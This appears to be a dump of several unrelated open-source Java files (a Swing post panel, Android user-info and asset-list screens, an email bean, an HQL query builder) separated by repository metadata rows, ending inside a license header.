.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonFollowersOnly, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButtonPublic, javax.swing.GroupLayout.DEFAULT_SIZE, 91, Short.MAX_VALUE)
.addContainerGap())
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jRadioButtonPublic)
.addComponent(jRadioButtonFollowersOnly)
.addComponent(jRadioButtonOnlyMe)
.addComponent(jButtonDelPst)
.addComponent(jButtonEditPst)
.addComponent(jButtonCmtPst))
.addContainerGap())
);
jPanel1Layout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {jRadioButtonOnlyMe, jRadioButtonFollowersOnly, jRadioButtonPublic});
jPanel1Layout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {jButtonDelPst, jButtonEditPst, jButtonCmtPst});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addComponent(jPanelMedia, javax.swing.GroupLayout.DEFAULT_SIZE, 597, Short.MAX_VALUE)
.addComponent(jPanelTopControlsCont, javax.swing.GroupLayout.DEFAULT_SIZE, 597, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jPanelTopControlsCont, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 197, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanelMedia, javax.swing.GroupLayout.DEFAULT_SIZE, 77, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(10, 10, 10))
);
}// </editor-fold>//GEN-END:initComponents
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.ButtonGroup buttonGroup1;
public javax.swing.JButton jButtonDelPst;
public javax.swing.JButton jButtonEditPst;
public javax.swing.JButton jButtonCmtPst;
public javax.swing.JLabel jLabelFullname;
public javax.swing.JLabel jLabelTime;
public javax.swing.JPanel jPanel1;
public javax.swing.JPanel jPanelMedia;
public javax.swing.JComponent mpics;
public javax.swing.JPanel jPanelTopControlsCont;
public javax.swing.JRadioButton jRadioButtonOnlyMe;
public javax.swing.JRadioButton jRadioButtonFollowersOnly;
public javax.swing.JRadioButton jRadioButtonPublic;
public javax.swing.JScrollPane jScrollPane1;
public javax.swing.JTextPane jTextPanePost;
//public javax.swing.JLabel thumbnail;
public javax.swing.JComponent thumbnail;
// End of variables declaration//GEN-END:variables
}
| 13,296 | 0.70127 | 0.686988 | 231 | 56.588745 | 63.229122 | 822 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.900433 | false | false |
8
|
c143465ec3222a0b57869e0492f72983e3b878fa
| 16,174,846,882,722 |
81d226734338b5aa9b64e4adb76cb7819d921145
|
/JavaEdu2/src/maze/Room.java
|
9392035e8a42685c64fd546ddd7b37c2aabd4c65
|
[] |
no_license
|
hyunmin-fighting/JavaEdu2
|
https://github.com/hyunmin-fighting/JavaEdu2
|
89e15bb24e995808c3b8f2a2ef48cc4ac1a90e99
|
3fc43c8b742ca34fc0c484af87b4571b6049ff71
|
refs/heads/master
| 2023-05-13T05:26:44.164000 | 2021-06-01T23:57:20 | 2021-06-01T23:57:20 | 369,708,968 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package maze;
public class Room {
int up; // 0 없다 1 일반 2 빨간 3 파란
int down;
int left;
int right;
int evetType; //0 없음, 1-A, 2-B, 3-F,
}
|
UTF-8
|
Java
| 182 |
java
|
Room.java
|
Java
|
[] | null |
[] |
package maze;
public class Room {
int up; // 0 없다 1 일반 2 빨간 3 파란
int down;
int left;
int right;
int evetType; //0 없음, 1-A, 2-B, 3-F,
}
| 182 | 0.524691 | 0.475309 | 13 | 10.461538 | 12.175735 | 37 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.307692 | false | false |
8
|
949d7ae02d73f070d79e6fc6bfe8a8325ca0046d
| 7,413,113,617,022 |
204b80d67a4cdfed0d470191d5f5185cc049e2fe
|
/Base/sources/com/flurry/sdk/cy.java
|
b7c2303931e42bee79a2fdbc874dd358ded81f6a
|
[] |
no_license
|
vaibhaviparanjpe01/AndroidProjects
|
https://github.com/vaibhaviparanjpe01/AndroidProjects
|
80f0a9c8de6a6de1cb12aa38782edcf9edc7b02b
|
eeaecfd6d773115635c66f626a46213f9831cd72
|
refs/heads/main
| 2023-07-25T11:10:25.319000 | 2021-09-09T02:04:22 | 2021-09-09T02:04:22 | 387,154,591 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.flurry.sdk;
import java.lang.ref.WeakReference;
import java.util.concurrent.Callable;
import java.util.concurrent.FutureTask;
public final class cy<V> extends FutureTask<V> {
private final WeakReference<Callable<V>> a = new WeakReference<>((Object) null);
private final WeakReference<Runnable> b;
public cy(Runnable runnable, V v) {
super(runnable, v);
this.b = new WeakReference<>(runnable);
}
public final Runnable a() {
return (Runnable) this.b.get();
}
}
|
UTF-8
|
Java
| 523 |
java
|
cy.java
|
Java
|
[] | null |
[] |
package com.flurry.sdk;
import java.lang.ref.WeakReference;
import java.util.concurrent.Callable;
import java.util.concurrent.FutureTask;
public final class cy<V> extends FutureTask<V> {
private final WeakReference<Callable<V>> a = new WeakReference<>((Object) null);
private final WeakReference<Runnable> b;
public cy(Runnable runnable, V v) {
super(runnable, v);
this.b = new WeakReference<>(runnable);
}
public final Runnable a() {
return (Runnable) this.b.get();
}
}
| 523 | 0.684512 | 0.684512 | 19 | 26.526316 | 22.434391 | 84 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.578947 | false | false |
8
|
9674acb56a56223dd1ad4d9edd26cf99f100ea98
| 23,398,981,850,644 |
0b54a25376cd7d09dfbb486d98cf261a68698a43
|
/books/src/main/java/com/example/book/books/ui/activity/UsersInfoActivity.java
|
b3c25c4ab0aa760d3d870454b1bebc5bc486bd4c
|
[
"MIT"
] |
permissive
|
iccyuer/Book
|
https://github.com/iccyuer/Book
|
ced4e4917d3b65f2b73e90ce8ff42c432cea0251
|
ccc8675ab7a99a513371eac68ce2acecf4d64db6
|
refs/heads/master
| 2021-01-21T20:42:37.102000 | 2018-03-01T07:42:05 | 2018-03-01T07:42:05 | 92,268,904 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.book.books.ui.activity;
import android.content.Intent;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import com.example.book.books.R;
import com.example.book.books.base.SBaseActivity;
import com.example.book.books.base.SBaseApp;
import com.example.book.books.db.UsersDao;
import com.example.book.books.model.Users;
import com.example.book.books.ui.views.CityPickerView;
public class UsersInfoActivity extends SBaseActivity implements View.OnClickListener {
private TextView mTvUsernameUsersinfo;
private TextView mTvUserpwdUsersinfo;
private TextView mTvUserphoneUsersinfo;
private TextView mTvUseraddressUsersinfo;
private int mUserid;
private Users mUsers;
@Override
public int setRootView() {
return R.layout.activity_users_info;
}
@Override
public void initView() {
if (SBaseApp.isAdmin) {
setTitleCenter("用户资料");
}else{
setTitleCenter("个人资料");
}
mTvUsernameUsersinfo = (TextView) findViewById(R.id.tv_username_usersinfo);
mTvUserpwdUsersinfo = (TextView) findViewById(R.id.tv_userpwd_usersinfo);
mTvUserphoneUsersinfo = (TextView) findViewById(R.id.tv_userphone_usersinfo);
mTvUseraddressUsersinfo = (TextView) findViewById(R.id.tv_useraddress_usersinfo);
mTvUsernameUsersinfo.setOnClickListener(this);
mTvUserpwdUsersinfo.setOnClickListener(this);
mTvUserphoneUsersinfo.setOnClickListener(this);
mTvUseraddressUsersinfo.setOnClickListener(this);
}
@Override
public void initDatas() {
Intent intent = getIntent();
mUserid = intent.getIntExtra("userid", 0);
mUsers = UsersDao.getUsersDao().getUserByUserId(mUserid);
mTvUsernameUsersinfo.setText(mUsers.getUserName());
mTvUserpwdUsersinfo.setText("****");
mTvUserphoneUsersinfo.setText(mUsers.getUserphone());
mTvUseraddressUsersinfo.setText(mUsers.getUserAddress());
}
@Override
public void onClick(View v) {
int id = v.getId();
switch (id) {
case R.id.tv_username_usersinfo:
Toast.makeText(mActivitySelf, "用户名不可以修改~", Toast.LENGTH_SHORT).show();
break;
case R.id.tv_userpwd_usersinfo:
if (SBaseApp.isAdmin) {
gotoActivity(AModifyPwdActivity.class,"userid", mUserid);
}else{
//用户修改密码和管理员不同~
gotoActivity(ModifyPwdActivity.class,"userid", mUserid);
}
break;
case R.id.tv_userphone_usersinfo:
gotoActivity(ModifyPhoneActivity.class,"userid", mUserid);
break;
case R.id.tv_useraddress_usersinfo:
CityPickerView cityPickerView=new CityPickerView(this) ;
cityPickerView.showCityPicker();
cityPickerView.setOnConfirmListener(new CityPickerView.OnConfirmListener() {
@Override
public void onConfirm(String tx) {
mTvUseraddressUsersinfo.setText(tx+"");
mUsers.setUserAddress(tx);
UsersDao.getUsersDao().updateUsersInfo(mUsers);
}
});
break;
}
}
@Override
protected void onResume() {
super.onResume();
initDatas();
}
}
|
UTF-8
|
Java
| 3,540 |
java
|
UsersInfoActivity.java
|
Java
|
[] | null |
[] |
package com.example.book.books.ui.activity;
import android.content.Intent;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import com.example.book.books.R;
import com.example.book.books.base.SBaseActivity;
import com.example.book.books.base.SBaseApp;
import com.example.book.books.db.UsersDao;
import com.example.book.books.model.Users;
import com.example.book.books.ui.views.CityPickerView;
public class UsersInfoActivity extends SBaseActivity implements View.OnClickListener {
private TextView mTvUsernameUsersinfo;
private TextView mTvUserpwdUsersinfo;
private TextView mTvUserphoneUsersinfo;
private TextView mTvUseraddressUsersinfo;
private int mUserid;
private Users mUsers;
@Override
public int setRootView() {
return R.layout.activity_users_info;
}
@Override
public void initView() {
if (SBaseApp.isAdmin) {
setTitleCenter("用户资料");
}else{
setTitleCenter("个人资料");
}
mTvUsernameUsersinfo = (TextView) findViewById(R.id.tv_username_usersinfo);
mTvUserpwdUsersinfo = (TextView) findViewById(R.id.tv_userpwd_usersinfo);
mTvUserphoneUsersinfo = (TextView) findViewById(R.id.tv_userphone_usersinfo);
mTvUseraddressUsersinfo = (TextView) findViewById(R.id.tv_useraddress_usersinfo);
mTvUsernameUsersinfo.setOnClickListener(this);
mTvUserpwdUsersinfo.setOnClickListener(this);
mTvUserphoneUsersinfo.setOnClickListener(this);
mTvUseraddressUsersinfo.setOnClickListener(this);
}
@Override
public void initDatas() {
Intent intent = getIntent();
mUserid = intent.getIntExtra("userid", 0);
mUsers = UsersDao.getUsersDao().getUserByUserId(mUserid);
mTvUsernameUsersinfo.setText(mUsers.getUserName());
mTvUserpwdUsersinfo.setText("****");
mTvUserphoneUsersinfo.setText(mUsers.getUserphone());
mTvUseraddressUsersinfo.setText(mUsers.getUserAddress());
}
@Override
public void onClick(View v) {
int id = v.getId();
switch (id) {
case R.id.tv_username_usersinfo:
Toast.makeText(mActivitySelf, "用户名不可以修改~", Toast.LENGTH_SHORT).show();
break;
case R.id.tv_userpwd_usersinfo:
if (SBaseApp.isAdmin) {
gotoActivity(AModifyPwdActivity.class,"userid", mUserid);
}else{
//用户修改密码和管理员不同~
gotoActivity(ModifyPwdActivity.class,"userid", mUserid);
}
break;
case R.id.tv_userphone_usersinfo:
gotoActivity(ModifyPhoneActivity.class,"userid", mUserid);
break;
case R.id.tv_useraddress_usersinfo:
CityPickerView cityPickerView=new CityPickerView(this) ;
cityPickerView.showCityPicker();
cityPickerView.setOnConfirmListener(new CityPickerView.OnConfirmListener() {
@Override
public void onConfirm(String tx) {
mTvUseraddressUsersinfo.setText(tx+"");
mUsers.setUserAddress(tx);
UsersDao.getUsersDao().updateUsersInfo(mUsers);
}
});
break;
}
}
@Override
protected void onResume() {
super.onResume();
initDatas();
}
}
| 3,540 | 0.631458 | 0.631171 | 97 | 34.917526 | 24.885582 | 92 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.628866 | false | false |
8
|
756b4413867b45717893186c870a149d673bb993
| 12,807,592,526,838 |
39c941b5c06eb9646d241a91e311a40466520f79
|
/src/main/java/com/biz/ems/model/EmailVO.java
|
1e0c435e939e0e32cd2cc812a1ad01d5893238c1
|
[] |
no_license
|
whdtjr3973/SpMVC_EMS
|
https://github.com/whdtjr3973/SpMVC_EMS
|
61967c7b1fbec6ea7aadbcaa7317b3adcf2dd21c
|
fee0562e6305da6f2bd7408ea515810c9ed767f1
|
refs/heads/master
| 2022-12-22T23:17:26.530000 | 2019-08-20T06:21:31 | 2019-08-20T06:21:31 | 202,062,550 | 0 | 0 | null | false | 2022-12-16T00:36:18 | 2019-08-13T04:11:53 | 2019-08-20T06:21:29 | 2022-12-16T00:36:16 | 910 | 0 | 0 | 8 |
JavaScript
| false | false |
package com.biz.ems.model;
import javax.validation.constraints.Email;
import javax.validation.constraints.NotBlank;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import lombok.ToString;
@Builder
@Getter
@Setter
@ToString
@AllArgsConstructor
@NoArgsConstructor
public class EmailVO {
private long ems_seq;
@NotBlank(message="* 보내는 Email은 필수 입니다.")
@Email(message="* Email형식이 잘못되었습니다.")
private String ems_to_email;
@NotBlank(message="* 받는 Email은 필수 입니다.")
@Email(message="* Email형식이 잘못되었습니다.")
private String ems_from_email;
@NotBlank(message="* 보내는 사람 항목은 필수 입니다.")
private String ems_to_name;
private String ems_from_name;
private String ems_send_date;
private String ems_send_time;
@NotBlank(message="* 제목을 입력해주세요.")
private String ems_subject;
@NotBlank(message="* 내용을 입력해주세요.")
private String ems_content;
private String ems_file1;
private String ems_file2;
private String search;
}
|
UTF-8
|
Java
| 1,179 |
java
|
EmailVO.java
|
Java
|
[] | null |
[] |
package com.biz.ems.model;
import javax.validation.constraints.Email;
import javax.validation.constraints.NotBlank;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import lombok.ToString;
@Builder
@Getter
@Setter
@ToString
@AllArgsConstructor
@NoArgsConstructor
public class EmailVO {
private long ems_seq;
@NotBlank(message="* 보내는 Email은 필수 입니다.")
@Email(message="* Email형식이 잘못되었습니다.")
private String ems_to_email;
@NotBlank(message="* 받는 Email은 필수 입니다.")
@Email(message="* Email형식이 잘못되었습니다.")
private String ems_from_email;
@NotBlank(message="* 보내는 사람 항목은 필수 입니다.")
private String ems_to_name;
private String ems_from_name;
private String ems_send_date;
private String ems_send_time;
@NotBlank(message="* 제목을 입력해주세요.")
private String ems_subject;
@NotBlank(message="* 내용을 입력해주세요.")
private String ems_content;
private String ems_file1;
private String ems_file2;
private String search;
}
| 1,179 | 0.733461 | 0.731544 | 42 | 23.833334 | 14.145362 | 45 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.642857 | false | false |
8
|
ed125adcaabaecdec7f8a6c243c564b600a5a2c8
| 9,792,525,496,371 |
9d9c4a422cc07fa83d7ea392ad4e02ba30947a21
|
/src/org/futurepages/core/persistence/HQLQuery.java
|
07610f15f4f5600588e241cf1ecd1ad2265860a6
|
[] |
no_license
|
futurepages/3
|
https://github.com/futurepages/3
|
06c3f99284438d4062301464bd803c33d74893c3
|
3144bf46276292190072f2e3abff3989c26cb95b
|
refs/heads/master
| 2020-04-06T03:34:38.942000 | 2016-06-24T04:56:10 | 2016-06-24T04:56:10 | 61,851,610 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package org.futurepages.core.persistence;
import org.futurepages.util.ReflectionUtil;
import org.futurepages.util.The;
public class HQLQuery<T> extends HQLProvider {
private String fieldToUpdate;
private String expression;
private String select;
private Class<T> entity;
private String alias;
private String join;
private String where;
private String group;
private String having;
private String order;
public HQLQuery(){
}
public HQLQuery(String fieldToUpdate, String expression, Class<T> entity, String where) {
this.fieldToUpdate = fieldToUpdate;
this.expression = expression;
this.entity = entity;
this.where = where;
}
public HQLQuery(Class<T> entity) {
this.entity = entity;
}
public HQLQuery(Class<T> entity, String where) {
this.entity = entity;
this.where = where;
}
public HQLQuery(Class<T> entity, String where, String order) {
this.entity = entity;
this.where = where;
this.order = order;
}
public HQLQuery(String select ,Class<T> entity, String where) {
this.select = select;
this.entity = entity;
this.where = where;
}
public HQLQuery(String select, Class<T> entity, String where, String order) {
this.select = select;
this.entity = entity;
this.where = where;
this.order = order;
}
public HQLQuery(String select, Class<T> entity, String alias, String join, String where, String order) {
this.select = select;
this.entity = entity;
this.alias = alias;
this.join = join;
this.where = where;
this.order = order;
}
public HQLQuery(String select, Class<T> entity, String alias, String join, String where, String group, String having, String order) {
this.select = select;
this.entity = entity;
this.alias = alias;
this.join = join;
this.where = where;
this.group = group;
this.having = having;
this.order = order;
}
@Override
public String toString() {
if(fieldToUpdate !=null){
return getUpdateHQL();
}else{
return getSelectHQL();
}
}
public String getSelectHQL(){
String hql = The.concat(select(select),from(entity),as(alias),join(join),where(where),groupBy(group),having(having),orderBy(order));
// System.out.println(hql);
return hql;
}
public String getUpdateHQL(){
String hql = The.concat(updateSetting(entity), fieldToUpdate, EQUALS, expression,join(join),where(where));
// System.out.println(hql);
return hql;
}
public String getFieldToUpdate() {
return fieldToUpdate;
}
public String getExpression() {
return expression;
}
public String getSelect() {
return select;
}
public Class<T> getEntity() {
return entity;
}
public String getAlias() {
return alias;
}
public String getJoin() {
return join;
}
public String getWhere() {
return where;
}
public String getGroup() {
return group;
}
public String getHaving() {
return having;
}
public String getOrder() {
return order;
}
public void setExpression(String expression) {
this.expression = expression;
}
public void setSelect(String select) {
this.select = select;
}
public void setEntity(Class<T> entity) {
this.entity = entity;
}
public void setAlias(String alias) {
this.alias = alias;
}
public void setJoin(String join) {
this.join = join;
}
public void setWhere(String where) {
this.where = where;
}
public void setGroup(String group) {
this.group = group;
}
public void setHaving(String having) {
this.having = having;
}
public void setOrder(String order) {
this.order = order;
}
public void setFieldToUpdate(String fieldToUpdate) {
this.fieldToUpdate = fieldToUpdate;
}
}
|
UTF-8
|
Java
| 3,757 |
java
|
HQLQuery.java
|
Java
|
[] | null |
[] |
package org.futurepages.core.persistence;
import org.futurepages.util.ReflectionUtil;
import org.futurepages.util.The;
public class HQLQuery<T> extends HQLProvider {
private String fieldToUpdate;
private String expression;
private String select;
private Class<T> entity;
private String alias;
private String join;
private String where;
private String group;
private String having;
private String order;
public HQLQuery(){
}
public HQLQuery(String fieldToUpdate, String expression, Class<T> entity, String where) {
this.fieldToUpdate = fieldToUpdate;
this.expression = expression;
this.entity = entity;
this.where = where;
}
public HQLQuery(Class<T> entity) {
this.entity = entity;
}
public HQLQuery(Class<T> entity, String where) {
this.entity = entity;
this.where = where;
}
public HQLQuery(Class<T> entity, String where, String order) {
this.entity = entity;
this.where = where;
this.order = order;
}
public HQLQuery(String select ,Class<T> entity, String where) {
this.select = select;
this.entity = entity;
this.where = where;
}
public HQLQuery(String select, Class<T> entity, String where, String order) {
this.select = select;
this.entity = entity;
this.where = where;
this.order = order;
}
public HQLQuery(String select, Class<T> entity, String alias, String join, String where, String order) {
this.select = select;
this.entity = entity;
this.alias = alias;
this.join = join;
this.where = where;
this.order = order;
}
public HQLQuery(String select, Class<T> entity, String alias, String join, String where, String group, String having, String order) {
this.select = select;
this.entity = entity;
this.alias = alias;
this.join = join;
this.where = where;
this.group = group;
this.having = having;
this.order = order;
}
@Override
public String toString() {
if(fieldToUpdate !=null){
return getUpdateHQL();
}else{
return getSelectHQL();
}
}
public String getSelectHQL(){
String hql = The.concat(select(select),from(entity),as(alias),join(join),where(where),groupBy(group),having(having),orderBy(order));
// System.out.println(hql);
return hql;
}
public String getUpdateHQL(){
String hql = The.concat(updateSetting(entity), fieldToUpdate, EQUALS, expression,join(join),where(where));
// System.out.println(hql);
return hql;
}
public String getFieldToUpdate() {
return fieldToUpdate;
}
public String getExpression() {
return expression;
}
public String getSelect() {
return select;
}
public Class<T> getEntity() {
return entity;
}
public String getAlias() {
return alias;
}
public String getJoin() {
return join;
}
public String getWhere() {
return where;
}
public String getGroup() {
return group;
}
public String getHaving() {
return having;
}
public String getOrder() {
return order;
}
public void setExpression(String expression) {
this.expression = expression;
}
public void setSelect(String select) {
this.select = select;
}
public void setEntity(Class<T> entity) {
this.entity = entity;
}
public void setAlias(String alias) {
this.alias = alias;
}
public void setJoin(String join) {
this.join = join;
}
public void setWhere(String where) {
this.where = where;
}
public void setGroup(String group) {
this.group = group;
}
public void setHaving(String having) {
this.having = having;
}
public void setOrder(String order) {
this.order = order;
}
public void setFieldToUpdate(String fieldToUpdate) {
this.fieldToUpdate = fieldToUpdate;
}
}
| 3,757 | 0.668885 | 0.668885 | 178 | 19.117977 | 22.303137 | 134 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.730337 | false | false |
8
|
fe0ae558f8e68e695d0690d5ff13c3c635706ff9
| 4,166,118,343,929 |
af8d9b4fda92d29c2820aafb0629d569460bf7a8
|
/app/src/main/java/dne/beetrack/adapter/AssetAdapter.java
|
665065a29286e8f5df77824848bfdeadbd6c24be
|
[] |
no_license
|
loipn1804/Beetrack
|
https://github.com/loipn1804/Beetrack
|
3b6186733d8e51af500ce547de04431f211a637a
|
beda39325c0e2f9d09f0dd74ebd20bf8563d8551
|
refs/heads/master
| 2020-04-06T08:52:36.550000 | 2016-09-05T13:33:06 | 2016-09-05T13:33:06 | 61,365,382 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package dne.beetrack.adapter;
import android.app.Activity;
import android.content.Intent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.List;
import dne.beetrack.R;
import dne.beetrack.activity.AssetDetailActivity;
import greendao.Asset;
/**
* Created by user on 3/21/2016.
*/
public class AssetAdapter extends BaseAdapter {
private List<Asset> listData;
private LayoutInflater layoutInflater;
private Activity activity;
private ViewHolder holder;
public AssetAdapter(Activity activity, List<Asset> listData) {
this.listData = new ArrayList<>();
this.listData.addAll(listData);
this.layoutInflater = LayoutInflater.from(activity);
this.activity = activity;
}
public void setListData(List<Asset> listData) {
this.listData.clear();
this.listData.addAll(listData);
notifyDataSetChanged();
}
@Override
public int getCount() {
int count = (listData == null) ? 0 : listData.size();
return count;
}
@Override
public Object getItem(int position) {
return listData.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(final int position, View convertView, ViewGroup parent) {
if (convertView == null) {
convertView = this.layoutInflater.inflate(R.layout.item_asset, null);
holder = new ViewHolder();
holder.root = (LinearLayout) convertView.findViewById(R.id.root);
holder.txtAssetName = (TextView) convertView.findViewById(R.id.txtAssetName);
holder.txtAssetCode = (TextView) convertView.findViewById(R.id.txtAssetCode);
holder.txtTime = (TextView) convertView.findViewById(R.id.txtTime);
holder.txtScanned = (TextView) convertView.findViewById(R.id.txtScanned);
holder.imvStatus = (ImageView) convertView.findViewById(R.id.imvStatus);
convertView.setTag(holder);
} else {
holder = (ViewHolder) convertView.getTag();
}
holder.txtAssetName.setText(listData.get(position).getName());
holder.txtAssetCode.setText(listData.get(position).getAsset_code());
holder.txtTime.setText(listData.get(position).getCreated_at());
if (listData.get(position).getStatus() == 1) {
holder.imvStatus.setVisibility(View.VISIBLE);
holder.txtScanned.setVisibility(View.GONE);
} else {
holder.imvStatus.setVisibility(View.INVISIBLE);
if (listData.get(position).getIs_scan() == 1) {
holder.txtScanned.setVisibility(View.VISIBLE);
} else {
holder.txtScanned.setVisibility(View.GONE);
}
}
holder.root.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(activity, AssetDetailActivity.class);
intent.putExtra("asset_id", listData.get(position).getAsset_id());
activity.startActivity(intent);
}
});
return convertView;
}
public class ViewHolder {
LinearLayout root;
TextView txtAssetName;
TextView txtAssetCode;
TextView txtTime;
TextView txtScanned;
ImageView imvStatus;
}
}
|
UTF-8
|
Java
| 3,636 |
java
|
AssetAdapter.java
|
Java
|
[
{
"context": "ctivity;\nimport greendao.Asset;\n\n/**\n * Created by user on 3/21/2016.\n */\npublic class AssetAdapter exten",
"end": 492,
"score": 0.9958903789520264,
"start": 488,
"tag": "USERNAME",
"value": "user"
}
] | null |
[] |
package dne.beetrack.adapter;
import android.app.Activity;
import android.content.Intent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.List;
import dne.beetrack.R;
import dne.beetrack.activity.AssetDetailActivity;
import greendao.Asset;
/**
* Created by user on 3/21/2016.
*/
public class AssetAdapter extends BaseAdapter {
private List<Asset> listData;
private LayoutInflater layoutInflater;
private Activity activity;
private ViewHolder holder;
public AssetAdapter(Activity activity, List<Asset> listData) {
this.listData = new ArrayList<>();
this.listData.addAll(listData);
this.layoutInflater = LayoutInflater.from(activity);
this.activity = activity;
}
public void setListData(List<Asset> listData) {
this.listData.clear();
this.listData.addAll(listData);
notifyDataSetChanged();
}
@Override
public int getCount() {
int count = (listData == null) ? 0 : listData.size();
return count;
}
@Override
public Object getItem(int position) {
return listData.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(final int position, View convertView, ViewGroup parent) {
if (convertView == null) {
convertView = this.layoutInflater.inflate(R.layout.item_asset, null);
holder = new ViewHolder();
holder.root = (LinearLayout) convertView.findViewById(R.id.root);
holder.txtAssetName = (TextView) convertView.findViewById(R.id.txtAssetName);
holder.txtAssetCode = (TextView) convertView.findViewById(R.id.txtAssetCode);
holder.txtTime = (TextView) convertView.findViewById(R.id.txtTime);
holder.txtScanned = (TextView) convertView.findViewById(R.id.txtScanned);
holder.imvStatus = (ImageView) convertView.findViewById(R.id.imvStatus);
convertView.setTag(holder);
} else {
holder = (ViewHolder) convertView.getTag();
}
holder.txtAssetName.setText(listData.get(position).getName());
holder.txtAssetCode.setText(listData.get(position).getAsset_code());
holder.txtTime.setText(listData.get(position).getCreated_at());
if (listData.get(position).getStatus() == 1) {
holder.imvStatus.setVisibility(View.VISIBLE);
holder.txtScanned.setVisibility(View.GONE);
} else {
holder.imvStatus.setVisibility(View.INVISIBLE);
if (listData.get(position).getIs_scan() == 1) {
holder.txtScanned.setVisibility(View.VISIBLE);
} else {
holder.txtScanned.setVisibility(View.GONE);
}
}
holder.root.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(activity, AssetDetailActivity.class);
intent.putExtra("asset_id", listData.get(position).getAsset_id());
activity.startActivity(intent);
}
});
return convertView;
}
public class ViewHolder {
LinearLayout root;
TextView txtAssetName;
TextView txtAssetCode;
TextView txtTime;
TextView txtScanned;
ImageView imvStatus;
}
}
| 3,636 | 0.649615 | 0.646865 | 112 | 31.464285 | 25.382055 | 89 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.580357 | false | false |
8
|
eca4ebd195522dbeaac267f9ecae691405c56bfd
| 9,079,560,930,616 |
2c73dd929f3d29b035f18ce740d56d9f7242bfc8
|
/web/project/src/main/java/com/webank/wedatasphere/qualitis/rule/response/PlaceholderResponse.java
|
16db45a91718a91b1be6210fdb5043f587ec6122
|
[
"Apache-2.0"
] |
permissive
|
WeBankFinTech/Qualitis
|
https://github.com/WeBankFinTech/Qualitis
|
bf15fdaf3b9def7d1e5ae74acd3821c5ec66ebe6
|
4625b455b92d43de561bcf9b0abd4d724c1b43cf
|
refs/heads/master
| 2023-07-23T02:59:56.420000 | 2023-07-14T02:50:05 | 2023-07-14T02:50:05 | 223,347,908 | 633 | 290 |
Apache-2.0
| false | 2023-07-19T05:29:15 | 2019-11-22T07:29:02 | 2023-07-07T07:02:38 | 2023-07-19T05:29:14 | 11,114 | 585 | 272 | 23 |
Java
| false | false |
/*
* Copyright 2019 WeBank
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
